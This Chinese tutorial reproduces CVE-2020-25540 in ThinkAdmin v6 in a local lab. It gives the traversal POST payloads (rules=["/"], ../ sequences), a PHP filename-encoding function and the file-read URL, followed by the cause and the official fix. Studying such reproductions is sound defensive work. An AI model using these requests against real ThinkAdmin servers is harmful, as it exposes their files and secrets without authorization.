溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

發(fā)布時(shí)間:2021-12-28 17:45:09 來(lái)源:億速云 閱讀:190 作者:柒染 欄目:安全技術(shù)

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。

環(huán)境搭建

phpstudy2018+ThinkAdmin v6.0.3

ThinkAdmin版本 ≤ 2020.08.03.01

https://github.com/zoujingli/ThinkAdmin/tree/a57c3a9373bc89f5eaa4142d047481a898b5757e

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

Composer命令

\1. 安裝Composer命令,phpstudy中PHP設(shè)置成7.1或以上版本,并把對(duì)應(yīng)的文件夾放入環(huán)境變量path中

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\2. 在phpstudy服務(wù)器中打開(kāi)php.ini文件,找到extension=php_openssl.dll前面的分號(hào)去掉,意思是打開(kāi)ssl擴(kuò)展,目的是為了能在cmd命令中能進(jìn)行訪問(wèn)

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\3. 安裝composer.phar,找到下載內(nèi)容的地方,去下載當(dāng)前最新版本的composer.phar,雙擊安裝,不用勾選

下載地址https://getcomposer.org/Composer-Setup.exe

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\4. 配置環(huán)境變量后自動(dòng)選擇了

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

然后一直下一步,安裝完成

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\5. 安裝完成后在cmd命令行輸入composer查看是否安裝成功

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\6. 設(shè)置阿里云 Composer 代理

由于國(guó)內(nèi)訪問(wèn)Composer比較慢,建議設(shè)置阿里云Composer鏡像,運(yùn)行如下命令設(shè)置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\7. 搜索下載ThinkAdminV6的漏洞版本到本地

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\8. 進(jìn)入ThinkAdmin目錄進(jìn)行安裝

composer install

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\9. 然后進(jìn)config/database.php目錄下修改配置文件,需要?jiǎng)?chuàng)建一個(gè)數(shù)據(jù)庫(kù)

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

修改數(shù)據(jù)庫(kù)連接所用的賬號(hào)密碼 root/root

導(dǎo)入數(shù)據(jù)庫(kù)

要將 thinkadmin 安裝包里的 admin_v6.sql 文件導(dǎo)入到數(shù)據(jù)庫(kù)

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

快速新建數(shù)據(jù)庫(kù)

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

數(shù)據(jù)庫(kù)名:admin_v6

常用source 命令

進(jìn)入mysql數(shù)據(jù)庫(kù)控制臺(tái),

如mysql -u root -p

mysql>use 數(shù)據(jù)庫(kù)

然后使用source命令,后面參數(shù)為腳本文件(如這里用到的.sql)

mysql>source d:wcnc_db.sql

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

成功導(dǎo)入

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

\10. php進(jìn)行運(yùn)行 php think run

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

http://ip:8000打開(kāi)頁(yè)面

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

漏洞復(fù)現(xiàn)

目錄遍歷/任意文件讀取

目錄遍歷

可以在瀏覽器直接構(gòu)造,也可以burp抓包改包

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

①使用burp抓取首頁(yè)的包,發(fā)送到Repeater模塊構(gòu)造數(shù)據(jù)包獲取目錄

②在Repeater模塊中把GET修改成POST,url后添加 ?s=admin/api.Update/node

在下面輸入rules=%5b%22%2f%22%5d //rules=["/"]

③點(diǎn)擊"Send"發(fā)送,可以看到返回包中帶有目錄列表了

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

注:沒(méi)有返回列表,是因?yàn)樽グ鼤r(shí)不是第一次加載頁(yè)面,Content-Type字段被替換成為Cache-Control,雖然200但是列表內(nèi)容為空。

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

抓第一次加載頁(yè)面時(shí)的包就沒(méi)問(wèn)題

返回結(jié)果

rules=["/"]會(huì)遍歷 E:\phpstudy2018\PHPTutorial\WWW\ThinkAdmin6 下所有文件

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

HTTP/1.1 200 OKHost: 192.168.80.111:8000Date: Mon, 30 Nov 2020 10:32:39 +0800Connection: closeX-Powered-By: PHP/7.2.1Content-Type:application/json; charset=utf-8Set-Cookie: think_lang=zh-cn; path=/Set-Cookie: PHPSESSID=8a43a78b3ebd325158a78608ac57107a; path=/{"code":1,"info":"獲取文件列表成功!","data":{"rules":["\/"],"ignore":[],"list":[{"name":"\/admin_v6.sql","hash":"a6add0e2aab0e7d45f1ef35ad7846c52"},{"name":"\/app\/admin\/controller\/Auth.php","hash":"9a254f39ccdb4e334d48a8596d4ced57"},{"name":"\/app\/admin\/controller\/Config.php","hash":"09a65b23959905b7ea511e61b75d9626"},{"name":"\/app\/admin\/controller\/Index.php","hash":"da3736920e43b33e18e0ba72407c8588"},{"name":"\/app\/admin\/controller\/Login.php","hash":"c1820e476b786a793a48ff893bf8ed3c"},{"name":"\/app\/admin\/controller\/Menu.php","hash":"d278f7948bfbe005987c16d18d2f49cb"},{"name":"\/app\/admin\/controller\/Oplog.php","hash":"7340a732685f2d4e91c01b07aa3efc4d"},{"name":"\/app\/admin\/controller\/Queue.php","hash":"88ca8b37cb205adbbf771878836366be"},{"name":"\/app\/admin\/controller\/User.php","hash":"52c893ed2f2390e6a46ca3d0fcee59da"},{"name":"\/app\/admin\/controller\/api\/Plugs.php","hash":"db98179054e8fe3a051f97901ea9ff2b"},/*省略一萬(wàn)行*/{"name":"\/vendor\/zoujingli\/wechat-developer\/composer.json","hash":"7db3f4ea9c17c21174c665b22992e97a"},{"name":"\/vendor\/zoujingli\/wechat-developer\/include.php","hash":"1434ae58cf94166d7097fe29ba0d42da"},{"name":"\/vendor\/zoujingli\/wechat-developer\/readme.md","hash":"5dc2765147e9aff90a838578a1dd8083"},{"name":"\/啟動(dòng)須知.txt","hash":"263d4e9a08fbab5ac55e78cf537acb6f"}]}}

rules=["../"]會(huì)遍歷 E:\phpstudy2018\PHPTutorial\WWW 下所有文件

rules=["../../"]會(huì)遍歷 E:\phpstudy2018\PHPTutorial 下所有文件

rules=["../../../"]會(huì)遍歷 E:\phpstudy2018 下所有文件

rules=["../../../../"]會(huì)遍歷 E:\ 下所有文件

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

目錄遍歷內(nèi)容超出限制會(huì)報(bào)錯(cuò)

任意文件讀取

①讀取根目錄下【啟動(dòng)須知.txt】

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

②在使用加密函數(shù)對(duì)文件名進(jìn)行加密,等下傳參要用

<?php function encode($content) { //加密正常文件名 //list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; //加密中文文件名 list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GB2312', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }$content="啟動(dòng)須知.txt";echo encode($content);?>

在虛擬機(jī)運(yùn)行

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

在線運(yùn)行

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

5i6s524v5s6j5y4q1a383c38

③訪問(wèn)下面鏈接即可讀取到文件內(nèi)容

http://192.168.80.111:8000/admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

base64解密得到文件內(nèi)容

如何分析目錄遍歷文件讀取漏洞CVE-2020-25540

漏洞原因

由于Update.php這個(gè)文件中的函數(shù)方法沒(méi)有授權(quán)導(dǎo)致的

修復(fù)方式

1.升級(jí)到2020.08.03.01之后的版本

2.使用官方的臨時(shí)修復(fù)方案

https://github.com/zoujingli/ThinkAdmin/issues/244

看完上述內(nèi)容,你們掌握如何分析目錄遍歷文件讀取漏洞CVE-2020-25540的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI